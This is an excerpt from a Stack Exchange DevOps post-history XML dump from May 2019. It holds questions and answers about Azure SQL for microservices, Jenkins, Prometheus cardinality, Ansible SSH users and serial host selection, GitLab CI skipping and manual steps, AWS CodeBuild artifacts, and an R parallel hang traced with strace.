to have its own logical private database, it's own private Redis cache, and many independently scaled pods. If you are renting Azure SQL and Azure Redis you don't get to choose how they run it physically. And why would you want to? Let the professionals figure out how to run a resiliant setup that has high performance that you can &quot;pay for what you use&quot; and focus on writing your business logic not on managing stateful services in the cloud that you can easily rent. &#xD;&#xA;&#xD;&#xA;I have seen developers running MS SQL Server Express locally on their laptop to debug and unit test, then deploy to Kubernetes on Azure where the microservices databases are all running on Azure SQL. I have also seen teams run against Azure SQL in production, but test against SQL Server setup on plain VMs in Azure. Why? Because Azure SQL only comes with &quot;production pricing&quot;. That organisation already had SQL Server on-prem and DBAs so it was cheaper for them to install and run SQL Server on VMs in Azure to host the test envs. All the microservices had their own private databases. In test those per microservice database where on a shared SQL Server instance on VMs with a two node cluster for resilience. In production the per microservices instances were all on Azure SQL for high performance and high availability, likely running a shared cluster that is hidden from the customer. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23908" PostHistoryTypeId="2" PostId="8216" RevisionGUID="e01e49cc-9340-4e36-b422-eadb7a8a4279" CreationDate="2019-05-23T19:35:27.460" UserId="15102" Text="Maybe cost is a factor? And it's open-source? I would think those two factors alone make it popular amongst startups.&#xD;&#xA;&#xD;&#xA;I work in an enterprise environment and we use AWS a lot but still use Jenkins as our main build tool.&#xD;&#xA;&#xD;&#xA;Sure there are better, more polished options, but like I said... cost and open-source, and also many people are used to it already." ContentLicense="CC BY-SA 4.0" />
  <row Id="23909" PostHistoryTypeId="5" PostId="8189" RevisionGUID="de11602f-2052-4c38-9fe5-6fdc02d5a5a8" CreationDate="2019-05-23T21:09:24.400" UserId="3767" Comment="copyedit (edit summary bust have at least 10 characters)" Text="I have a background in relational databases and new to Prometheus. I wonder why Prometheus is not a good choice for high cardinality data? Why do I need to use low cardinality data? It's exact opposite from SQL DBs.&#xD;&#xA;&#xD;&#xA;Can somebody explain me the technical reason for that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23910" PostHistoryTypeId="4" PostId="8189" RevisionGUID="de11602f-2052-4c38-9fe5-6fdc02d5a5a8" CreationDate="2019-05-23T21:09:24.400" UserId="3767" Comment="copyedit (edit summary bust have at least 10 characters)" Text="Why is Prometheus not a good choice for data with high cardinality?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23911" PostHistoryTypeId="24" PostId="8189" RevisionGUID="de11602f-2052-4c38-9fe5-6fdc02d5a5a8" CreationDate="2019-05-23T21:09:24.400" Comment="Proposed by 3767 approved by -1 edit id of 1005" ContentLicense="CC BY-SA 4.0" />
  <row Id="23912" PostHistoryTypeId="5" PostId="8189" RevisionGUID="34e8fee0-b497-4302-aade-c50a6f549b61" CreationDate="2019-05-23T21:09:24.400" UserId="40" Comment="deleted 15 characters in body" Text="I have a background in relational databases and new to Prometheus. I wonder why Prometheus is not a good choice for high cardinality data? Why do I need to use low cardinality data? It's exact opposite from SQL DBs.&#xD;&#xA;&#xD;&#xA;What are the technical reason for that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23913" PostHistoryTypeId="50" PostId="6896" RevisionGUID="53c0124d-cd8e-47dd-82b7-cf8da1b9e4e9" CreationDate="2019-05-23T22:01:50.337" UserId="-1" />
  <row Id="23914" PostHistoryTypeId="50" PostId="6882" RevisionGUID="ccc1c370-5841-4da1-9f6f-49688409df4b" CreationDate="2019-05-23T23:02:05.253" UserId="-1" />
  <row Id="23915" PostHistoryTypeId="50" PostId="4925" RevisionGUID="71215747-6a4e-44e7-a847-62937dad67b7" CreationDate="2019-05-24T00:03:30.407" UserId="-1" />
  <row Id="23921" PostHistoryTypeId="50" PostId="6805" RevisionGUID="63b262d8-2fde-4386-b51a-0b6d664cd8a5" CreationDate="2019-05-24T01:02:15.343" UserId="-1" />
  <row Id="23922" PostHistoryTypeId="50" PostId="6877" RevisionGUID="8c940a36-af05-4518-bada-5d19daeb24dc" CreationDate="2019-05-24T06:02:45.323" UserId="-1" />
  <row Id="23932" PostHistoryTypeId="2" PostId="8221" RevisionGUID="b8e43a38-b5e2-4389-911c-06cab3fb1550" CreationDate="2019-05-24T11:23:52.020" UserId="15116" Text="i am trying to figure out how to run an ansible ping command as another user, using their ssh key.&#xD;&#xA;&#xD;&#xA;User setup i have essentially:&#xD;&#xA;&#xD;&#xA; - master_user (me)&#xD;&#xA;   &#xD;&#xA; - ansible (sudo user, pwdless sign in)&#xD;&#xA;&#xD;&#xA;I logged in as ansible user and did:&#xD;&#xA;&#xD;&#xA;  - ssh-keygen (generate key)&#xD;&#xA;  - ssh-copy-id XXXX (copy the ssh key to corresponding server)&#xD;&#xA;&#xD;&#xA;Tested it all and it works fine (each server has ansible user already fyi).&#xD;&#xA;I updated the hosts file to have all my hosts as well.&#xD;&#xA;&#xD;&#xA;Now when i remote into master_user, i want to run a ansible command but as ansible user something like this:&#xD;&#xA;&#xD;&#xA;    ansible --become-user=ansible -m ping&#xD;&#xA;&#xD;&#xA;This fails because it is trying to ssh into the servers using the master_users ssh key.&#xD;&#xA;&#xD;&#xA;How can configure it so that it uses ansible user always and use ansible users ssh key?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23933" PostHistoryTypeId="1" PostId="8221" RevisionGUID="b8e43a38-b5e2-4389-911c-06cab3fb1550" CreationDate="2019-05-24T11:23:52.020" UserId="15116" Text="run ansible command as another user using their ssh key" ContentLicense="CC BY-SA 4.0" />
  <row Id="23934" PostHistoryTypeId="3" PostId="8221" RevisionGUID="b8e43a38-b5e2-4389-911c-06cab3fb1550" CreationDate="2019-05-24T11:23:52.020" UserId="15116" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23935" PostHistoryTypeId="2" PostId="8222" RevisionGUID="b2df12a1-61ef-4c93-bbc0-90b16499c406" CreationDate="2019-05-24T11:33:09.380" UserId="15117" Text="Yes, there is:&#xD;&#xA;&#xD;&#xA;&gt; If your commit message contains `[ci skip]` or `[skip ci]`, using any capitalization, the commit will be created but the pipeline will be skipped.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Alternatively, one can pass the `ci.skip` [Git push option](https://git-scm.com/docs/git-push#Documentation/git-push.txt--oltoptiongt) if using Git 2.10 or newer:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     git push -o ci.skip&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From: [GitLab CI YAML documentation](https://docs.gitlab.com/ee/ci/yaml/#skipping-jobs) - &quot;Skipping jobs&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23936" PostHistoryTypeId="2" PostId="8223" RevisionGUID="16af23ae-eaae-49c0-bc0c-27b170103155" CreationDate="2019-05-24T12:42:05.157" UserId="7715" Text="If you're able to connect to the *host*&#xD;&#xA;&#xD;&#xA;    $ ssh ansible@&lt;host&gt;&#xD;&#xA;&#xD;&#xA;then try&#xD;&#xA;&#xD;&#xA;    ansible &lt;hosts&gt; -u ansible -m ping&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23937" PostHistoryTypeId="2" PostId="8224" RevisionGUID="3d44e279-8639-4e2e-a6a9-5e891225fd03" CreationDate="2019-05-24T13:23:59.933" UserId="11315" Text="I have created a codePipeline project through which my application get build using maven and it's artifacts are uploaded to s3. I'm trying to upload multiple artifacts as a single zip file to s3 bucket through codebuild. Below is my sample buildspec.yml file&#xD;&#xA;&#xD;&#xA;    version: 0.2 &#xD;&#xA;    phases: &#xD;&#xA;    install: &#xD;&#xA;    runtime-versions: &#xD;&#xA;    java: openjdk8 &#xD;&#xA;    commands: &#xD;&#xA;    - apt update -y &amp;&amp; apt install maven -y &#xD;&#xA;    - echo Install phase ended on `date` &#xD;&#xA;    pre_build: &#xD;&#xA;    commands: &#xD;&#xA;    - echo Pre_build phase started on `date` &#xD;&#xA;    build: &#xD;&#xA;    commands: &#xD;&#xA;    - echo Build phase started on `date` &#xD;&#xA;    post_build: &#xD;&#xA;    commands: &#xD;&#xA;    - echo Post_build phase started on `date` &#xD;&#xA;    - echo $CODEBUILD_SRC_DIR &#xD;&#xA;    artifacts: &#xD;&#xA;    files: &#xD;&#xA;    - pipelines/**/* &#xD;&#xA;    - target/spring-app-2.0.0.jar &#xD;&#xA;    base-directory: $CODEBUILD_SRC_DIR &#xD;&#xA;    secondary-artifacts: &#xD;&#xA;    artifact1: &#xD;&#xA;    files: &#xD;&#xA;    - src/main/resources/appspec.yml &#xD;&#xA;    base-directory: $CODEBUILD_SRC_DIR &#xD;&#xA;    discard-paths: yes &#xD;&#xA;&#xD;&#xA;codebuild-output:&#xD;&#xA;&#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Phase complete: POST_BUILD State: SUCCEEDED &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Phase context status code: Message: &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding base directory path: $CODEBUILD_SRC_DIR &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Assembling file list &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding /codebuild/output/src289881682/src &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding artifact file paths for base directory /codebuild/output/src289881682/src &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Assembling file list &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding pipelines/**/* &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding target/spring-app-2.0.0.jar &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Found 52 file(s) &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:28 Phase complete: UPLOAD_ARTIFACTS State: SUCCEEDED &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:28 Phase context status code: Message: &#xD;&#xA;&#xD;&#xA;Artifacts mentioned in secondary-artifacts are completely ignored due to unknown reasons, Am I missing any parameters?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23938" PostHistoryTypeId="1" PostId="8224" RevisionGUID="3d44e279-8639-4e2e-a6a9-5e891225fd03" CreationDate="2019-05-24T13:23:59.933" UserId="11315" Text="Artifacts mentioned in secondary-artifacts section not getting uploaded to s3 bucket" ContentLicense="CC BY-SA 4.0" />
  <row Id="23939" PostHistoryTypeId="3" PostId="8224" RevisionGUID="3d44e279-8639-4e2e-a6a9-5e891225fd03" CreationDate="2019-05-24T13:23:59.933" UserId="11315" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23940" PostHistoryTypeId="5" PostId="8207" RevisionGUID="6e591927-3a60-474e-ac74-fb9198f8b546" CreationDate="2019-05-24T16:44:35.163" UserId="9938" Comment="Grammar fixed" Text="Basically, my use case is that I want to run on list of hosts (group from inventory).&#xD;&#xA;&#xD;&#xA;It will run one by one, until it finds machine answer my standards,&#xD;&#xA;when it find the one with free RAM as I say e.g 40GB free,&#xD;&#xA;stop looping host, continue the next role/task with the IP-address of this machine.&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="23941" PostHistoryTypeId="24" PostId="8207" RevisionGUID="6e591927-3a60-474e-ac74-fb9198f8b546" CreationDate="2019-05-24T16:44:35.163" Comment="Proposed by 9938 approved by 40, -1 edit id of 1006" ContentLicense="CC BY-SA 4.0" />
  <row Id="23942" PostHistoryTypeId="5" PostId="8207" RevisionGUID="9d21ba89-21e9-4a3c-aae7-d947588a9cca" CreationDate="2019-05-24T16:44:35.163" UserId="739" Comment="Grammar fixed" Text="Basically, my use case is that I want to run on list of hosts (group from inventory).&#xD;&#xA;&#xD;&#xA;It will run one by one, until it finds machine answer my standards,&#xD;&#xA;when it find the one with free RAM as I say e.g 40GB free,&#xD;&#xA;stop looping host, continue the next role/task with the IP address of this machine." ContentLicense="CC BY-SA 4.0" />
  <row Id="23943" PostHistoryTypeId="2" PostId="8225" RevisionGUID="e6e66836-d6be-4905-ac8f-3a07deb263b7" CreationDate="2019-05-24T16:49:10.920" UserId="15123" Text="You need something that will do basically CI/CD. There are few options (in no particular order):&#xD;&#xA;&#xD;&#xA;* Gitlab + autodeploy (or custom deployment)&#xD;&#xA;* [skaffold](https://github.com/GoogleContainerTools/skaffold) + [git-sync](https://github.com/kubernetes/git-sync) + [kaniko](https://github.com/GoogleContainerTools/kaniko)&#xD;&#xA;&#xD;&#xA;There are more, but basically, you need a component to watch for changes, something that knows how to build an image, and something else that can deploy it (some of these might be done by the same tools)&#xD;&#xA;&#xD;&#xA;Helm will only do the deployment, but nothing else" ContentLicense="CC BY-SA 4.0" />
  <row Id="23944" PostHistoryTypeId="2" PostId="8226" RevisionGUID="134057a8-1c3d-4f58-b4f4-cff3c7ee78d2" CreationDate="2019-05-24T17:16:26.730" UserId="15126" Text="I'm trying to set up a CI/CD GitLab Pipeline with feature branches with various stages of testing, both automated and manual, culminating with an automatic merge to master at the end.  I'm struggling with how to keep track of the manual steps (Is issue still work in progress?  Is code review complete?  Is manual testing complete?).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The way I envision the flow happening is this (**issues in question are in bold**): &#xD;&#xA;&#xD;&#xA;1) Developer opens ticket.  This creates a feature branch and merge request at the same time.  The merge request is WIP, so not neccesarily being reviewed by anyone until the WIP status is removed.&#xD;&#xA;&#xD;&#xA;**First problem: how to have a status on the merge request.  Gitlab automatically adds WIP to the title.  I would really like to find a way to handle state besides mangling the title of the merge request.  I think Labels are an option, but am not sure if they are appropriate.**&#xD;&#xA;&#xD;&#xA;2) Developer checks in code periodically throughout the day into the feature branch.  There will be a &quot;mini&quot; pipeline that kicks off unit tests and deploys to a feature environment (kubernetes ephemeral environment: namespace matching branch name).&#xD;&#xA;&#xD;&#xA;3) Developer is done iterating and thinks code is ready for deployment.  They remove &quot;WIP&quot; status (again, through label or some other way?)&#xD;&#xA;&#xD;&#xA;4) CI/CD pipeline is kicked off.  Not WIP anymore, so comprehensive unit tests, container scanning, security scanning, perf tests etc are automatically kicked off.  In GitLab, this is all part of the &quot;Pipeline&quot;.  This doesn't merge to master or deploy anywhere yet.&#xD;&#xA;&#xD;&#xA;5) Concurrent with the CI/CD automated steps, there will be some manual testing, and some code review.  &#xD;&#xA;&#xD;&#xA;**Second problem: How will these manual steps be checked off in the merge request?  Add label &quot;Code Review Complete&quot;?  Remove label &quot;Code review needed&quot;?  Some version of status check as supported by github?  Using gitlab-ci.yaml, I want to be able to check on the status (and whether to continue) periodically through polling or through a callback mechanism of some kind.**&#xD;&#xA;&#xD;&#xA;6) Once all automated (step 4) and manual (step 5) tests are passed, code is merged to master and deployed to Canary environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="23945" PostHistoryTypeId="1" PostId="8226" RevisionGUID="134057a8-1c3d-4f58-b4f4-cff3c7ee78d2" CreationDate="2019-05-24T17:16:26.730" UserId="15126" Text="How to add status flags or manual steps to CI/CD process with GitLab Pipelines" ContentLicense="CC BY-SA 4.0" />
  <row Id="23946" PostHistoryTypeId="3" PostId="8226" RevisionGUID="134057a8-1c3d-4f58-b4f4-cff3c7ee78d2" CreationDate="2019-05-24T17:16:26.730" UserId="15126" Text="&lt;gitlab&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23947" PostHistoryTypeId="2" PostId="8227" RevisionGUID="17aa5c23-6f0b-4f1e-9071-abee1205f27e" CreationDate="2019-05-24T19:40:49.663" UserId="15130" Text="The thing that makes this complicated is that ansible registers variables and facts locally, on the target remote host - and then has a different set of variables and facts once it moves to the next host. So it would require a bit of fiddling to do this exactly the way you want.&#xD;&#xA;&#xD;&#xA;One way to approach this would be to just use run_once, but it doesn't work with `serial: 1` which you are asking for (check one host at a time);&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;  - name: test&#xD;&#xA;    hosts: all&#xD;&#xA;    vars:&#xD;&#xA;      mem_to_look_for: 62950&#xD;&#xA;    tasks:&#xD;&#xA;      - name: do things&#xD;&#xA;        debug:&#xD;&#xA;          msg: &quot;hello&quot;&#xD;&#xA;        run_once: true&#xD;&#xA;        when: ansible_memory_mb.real.total==mem_to_look_for&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you really want it to run serially, we could borrow some of the knowledge out of this article https://stackoverflow.com/questions/42376123/how-to-terminate-an-ansible-playbook-run-when-it-is-successful-on-one-host and tweak it a little.. and it works great!&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;  - name: &quot;test&quot;&#xD;&#xA;    hosts: all&#xD;&#xA;    gather_facts: no&#xD;&#xA;    serial: 1&#xD;&#xA;    vars:&#xD;&#xA;      mem_to_look_for: 62950&#xD;&#xA;    tasks:&#xD;&#xA;      - meta: end_play&#xD;&#xA;        when: &quot;{% for item in hostvars.values() %}{% if item.done|default(False) %}True{% endif %}{% endfor %}&quot;&#xD;&#xA;&#xD;&#xA;      - name: gather facts&#xD;&#xA;        setup:&#xD;&#xA;&#xD;&#xA;      - name: ensure host has the memory we're looking for&#xD;&#xA;        set_fact:&#xD;&#xA;          done: true&#xD;&#xA;        when: ansible_memory_mb.real.total==mem_to_look_for&#xD;&#xA;&#xD;&#xA;      - name: skip this host if it doesn't have the memory we're looking for&#xD;&#xA;        meta: end_play&#xD;&#xA;        when: ansible_memory_mb.real.total!=mem_to_look_for&#xD;&#xA;&#xD;&#xA;      - name: run this thing only on one host&#xD;&#xA;        debug:&#xD;&#xA;          msg: &quot;running the thing&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I set the playbook to gather_facts: no because we don't want to continue gathering facts once we found the host we're looking for. It doesn't abort the playbook unfortunately, but just kind of runs a no-op on the remainder of hosts. You could also probably speed things up by tweaking the `setup:` module by specifying which subset of facts you want to collect, but I left it to collect all the facts in this example. https://docs.ansible.com/ansible/latest/modules/setup_module.html you may also want to just move the host selection to the setup module by adding `failed_when: ansible_memory_mb.real.total!=mem_to_look_for` at the end of the setup module, but then the hosts would be marked as failed. I'm not sure if that's what you're looking for, but it's really up to you on if you want them to be failed or just skipped." ContentLicense="CC BY-SA 4.0" />
  <row Id="23948" PostHistoryTypeId="50" PostId="7945" RevisionGUID="1d536bf5-5f5c-4ac8-9bd2-f0190bdbcb5c" CreationDate="2019-05-24T21:02:20.480" UserId="-1" />
  <row Id="23949" PostHistoryTypeId="5" PostId="8064" RevisionGUID="aff78d67-bb37-4e78-a125-1017a9bb0fcd" CreationDate="2019-05-24T22:20:02.393" UserId="14747" Comment="Narrowed the problem to the parallel package and added strace" Text="I am writing [an R package](https://github.com/alan-turing-institute/PosteriorBootstrap/) with tests using the `testthat` package. The tests pass locally and on Travis.&#xD;&#xA;&#xD;&#xA;I want to plot the benefit of parallelisation on up to 24 cores, so I set up a virtual machine programmatically on Azure:&#xD;&#xA;&#xD;&#xA;    az vm create \&#xD;&#xA;       --resource-group rgName \&#xD;&#xA;       --name test \&#xD;&#xA;       --image microsoft-dsvm:linux-data-science-vm-ubuntu:linuxdsvmubuntu:18.12.01 \&#xD;&#xA;       --size Standard_NV24 \&#xD;&#xA;       --admin-username azureuser \&#xD;&#xA;        --generate-ssh-keys&#xD;&#xA;&#xD;&#xA;I call `devtools::test()` and the virtual machine gets stuck at `testthat` for hours with 0% CPU usage:&#xD;&#xA;&#xD;&#xA;    ✔  checking for unstated dependencies in ‘tests’ ...&#xD;&#xA;    ─  checking tests ...&#xD;&#xA;       Running ‘testthat.R’&#xD;&#xA;&#xD;&#xA;`devtools::test()` has no specific arguments to print some output, and it calls `testthat::test_dir()`, which also has no arguments to print output.&#xD;&#xA;&#xD;&#xA;When I remove the tests, the code stalls in a function call. I stopped and relaunched multiple times, so I think it's a problem with Azure.&#xD;&#xA;&#xD;&#xA;Other sizes of machines, `Standard_F16s_v2` and `Standard DS3 v2`, have the same problem.&#xD;&#xA;&#xD;&#xA;How can I fix it?&#xD;&#xA;&#xD;&#xA;## Update&#xD;&#xA;&#xD;&#xA;I stumbled upon the culprit when I was running another piece of code. The VM hangs when calling the R `parallel` package on multiple cores (it works fine on just one core).&#xD;&#xA;&#xD;&#xA;I added some printouts around that call:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[1] &quot;num_cores = 2&quot;&#xD;&#xA;[1] &quot;Entering parallel&quot;&#xD;&#xA;[1] &quot;Drawing 1&quot;&#xD;&#xA;[1] &quot;Drawing 2&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and then it hangs. Following the suggestion of `strace`, I launched again and see this output around this last printout:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[pid  8571] 21:41:48.718625 write(1, &quot;\n&quot;, 1[1] &quot;num_cores = 2&quot;&#xD;&#xA;) = 1&#xD;&#xA;[pid  8571] 21:41:48.719486 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8571] 21:41:48.719550 write(1, &quot; \&quot;num_cores = 2\&quot;&quot;, 16) = 16&#xD;&#xA;[pid  8571] 21:41:48.719615 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8703] 21:41:48.730707 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8705] 21:41:48.730745 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8701] 21:41:48.730757 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8704] 21:41:48.730794 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8702] 21:41:48.730841 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8700] 21:41:48.730852 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8706] 21:41:48.731199 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:48.742710 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 7&#xD;&#xA;[pid  8706] 21:41:48.742831 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8705] 21:41:48.742847 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8704] 21:41:48.742858 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8703] 21:41:48.742868 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8702] 21:41:48.742878 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8701] 21:41:48.742888 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8700] 21:41:48.742899 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8700] 21:41:48.742931 futex(0x87da514, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[1] &quot;Entering parallel&quot;&#xD;&#xA;[pid  8700] 21:41:48.743001 futex(0x87da514, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8571] 21:41:48.743411 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8571] 21:41:48.743485 write(1, &quot; \&quot;Entering parallel\&quot;&quot;, 20) = 20&#xD;&#xA;[pid  8571] 21:41:48.743545 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8571] 21:41:48.743946 pipe([4, 11]) = 0&#xD;&#xA;[pid  8571] 21:41:48.744019 pipe([12, 13]) = 0&#xD;&#xA;[pid  8571] 21:41:48.744096 rt_sigaction(SIGCHLD, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, NULL, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.744160 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fdc6f002a90) = 8708&#xD;&#xA;strace: Process 8708 attached&#xD;&#xA;[pid  8708] 21:41:48.746022 set_robust_list(0x7fdc6f002aa0, 24) = 0&#xD;&#xA;[pid  8571] 21:41:48.746478 close(11)   = 0&#xD;&#xA;[pid  8708] 21:41:48.746529 rt_sigaction(SIGCHLD, {SIG_DFL, [CHLD], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0},  &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:48.746549 close(12 &lt;unfinished ...&gt;&#xD;&#xA;[pid  8708] 21:41:48.746559 &lt;... rt_sigaction resumed&gt; {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.746571 &lt;... close resumed&gt; ) = 0&#xD;&#xA;[pid  8708] 21:41:48.746581 close(4)    = 0&#xD;&#xA;[pid  8708] 21:41:48.746643 dup2(12, 0) = 0&#xD;&#xA;[pid  8708] 21:41:48.746704 close(12)   = 0&#xD;&#xA;[pid  8708] 21:41:48.746764 rt_sigaction(SIGUSR1, {0x7fdc52d45a90, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc6ce94550, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.748205 pipe([11, 12]) = 0&#xD;&#xA;[pid  8571] 21:41:48.748280 pipe([14, 15]) = 0&#xD;&#xA;[pid  8571] 21:41:48.748350 rt_sigaction(SIGCHLD, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, NULL, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.748410 clone([1] &quot;Drawing 1&quot;&#xD;&#xA; &lt;unfinished ...&gt;&#xD;&#xA;[pid  8708] 21:41:48.749158 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8708] 21:41:48.749242 write(1, &quot; \&quot;Drawing 1\&quot;&quot;, 12) = 12&#xD;&#xA;[pid  8708] 21:41:48.749300 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8571] 21:41:48.750225 &lt;... clone resumed&gt; child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fdc6f002a90) = 8709&#xD;&#xA;strace: Process 8709 attached&#xD;&#xA;[pid  8709] 21:41:48.750313 set_robust_list(0x7fdc6f002aa0, 24) = 0&#xD;&#xA;[pid  8571] 21:41:48.750630 close(12)   = 0&#xD;&#xA;[pid  8571] 21:41:48.750695 close(14)   = 0&#xD;&#xA;[pid  8709] 21:41:48.750829 rt_sigaction(SIGCHLD, {SIG_DFL, [CHLD], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, 8) = 0&#xD;&#xA;[pid  8709] 21:41:48.750908 close(11)   = 0&#xD;&#xA;[pid  8709] 21:41:48.750976 dup2(14, 0) = 0&#xD;&#xA;[pid  8709] 21:41:48.751050 close(14)   = 0&#xD;&#xA;[pid  8709] 21:41:48.751119 rt_sigaction(SIGUSR1, {0x7fdc52d45a90, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc6ce94550, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, 8) = 0&#xD;&#xA;[1] &quot;Drawing 2&quot;&#xD;&#xA;[pid  8571] 21:41:48.752325 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:48.752392 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.753053 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8709] 21:41:48.753138 write(1, &quot; \&quot;Drawing 2\&quot;&quot;, 12) = 12&#xD;&#xA;[pid  8709] 21:41:48.753202 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8708] 21:41:48.755113 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8704] 21:41:48.756406 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8703] 21:41:48.756424 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8701] 21:41:48.756557 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8702] 21:41:48.756625 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8705] 21:41:48.756769 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8700] 21:41:48.757066 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8706] 21:41:48.757184 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.758569 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8708] 21:41:48.768419 futex(0x88b9a04, 